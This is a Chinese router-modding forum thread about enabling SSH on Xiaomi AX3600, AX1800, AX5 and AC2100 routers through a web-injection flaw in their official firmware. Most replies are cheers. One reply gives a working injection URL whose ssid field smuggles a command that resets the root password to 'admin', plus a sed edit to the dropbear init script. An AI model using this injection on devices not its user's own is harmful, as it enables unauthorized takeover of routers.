[0825:AC2100新固件有效AX6无效]AX3600/AX1800/AX5/AC2100官方固件开启SSH方法[原创]

LonG*** · 发表于 2020-5-26 13:13

本帖最后由 LonGDikE 于 2020-8-25 23:02 编辑

这段时间一直抽时间在分析固件，昨天终于找到漏洞，web注入方式，不过该漏洞在最新版本应该已经堵上了
详细方法及固件版本晚点整理公布
root密码算法同之前

0624：AX3600第三方QSDK固件终于出来，辛苦@li4621180，喜欢折腾的可以一试，小米AX3600,第三方QSDK固件，不过目前根据大家反馈刷机方法貌似还不完善，待更新，有问题可以进群讨论便捷一点，群号1106916203，留群号如有不妥请通知本人，我会做删除处理，主要是为了方便快捷交流
0609：AX3600的dts、分区备份及kernel_log，希望有能力的大神研究一下适配。https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4034554
0605：据说坛友@efsg说有大佬已经粗略分析了原厂固件，理论上没有校验，所以可尝试适配固件(真刷坏了也可以保修，你懂的) 希望动手能力比较强愿意折腾的同学可以（拆机）TTL提供完整的启动日志和内核日志，有望可以做出QSDK固件

0526：方法公布

游客，如果您要查看本帖隐藏内容请回复

tony*** · 发表于 2020-5-26 13:15

加油~~~~~~~~~~~~~

xih*** · 发表于 2020-5-26 13:15

真是牛人呢。

hwj*** · 发表于 2020-5-26 13:18

哇，厉害啊。

bb19*** · 发表于 2020-5-26 13:19

各位JS们，涨价的来一个，先涨为敬，庆祝AX3600 SSH开启。

LonG*** · 发表于 2020-5-26 13:27

bb1993916 发表于 2020-5-26 13:19
各位JS们，涨价的来一个，先涨为敬，庆祝AX3600 SSH开启。

我是不是可以高价卖掉我的已开启SSH的AX3600，哈哈

p*** · 发表于 2020-5-26 13:36

本帖最后由 pnq 于 2020-6-1 13:33 编辑

可以用这道命令来改文件：

sed -i '/flg_ssh.*release/{n;s/return/true/}' /etc/init.d/dropbear

复制代码

可以通过下面这个注入地址来把密码改成admin

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

复制代码

liten*** · 发表于 2020-5-26 13:55

顶上去，厉害啊

liten*** · 发表于 2020-5-26 13:56

可以降级

aini*** · 发表于 2020-5-26 13:58

等待大佬消息

Begi*** · 发表于 2020-5-26 14:09

此贴必火呀

a5638*** · 发表于 2020-5-26 14:19

火钳留名，期待大佬教程

林子*** · 发表于 2020-5-26 14:25

厉害？？！？！！！

隱姓*** · 发表于 2020-5-26 14:28

火钳留名..

i*** · 发表于 2020-5-26 14:30

此贴必火，火钳留名

账号		自动登录	找回密码
密码			立即注册

[红米AX6] [0825:AC2100新固件有效AX6无效]AX3600/AX1800/AX5/AC2100官方固件开启SSH方法[原创]

本帖子中包含更多资源

点评

评分

点评

点评

评分

本帖子中包含更多资源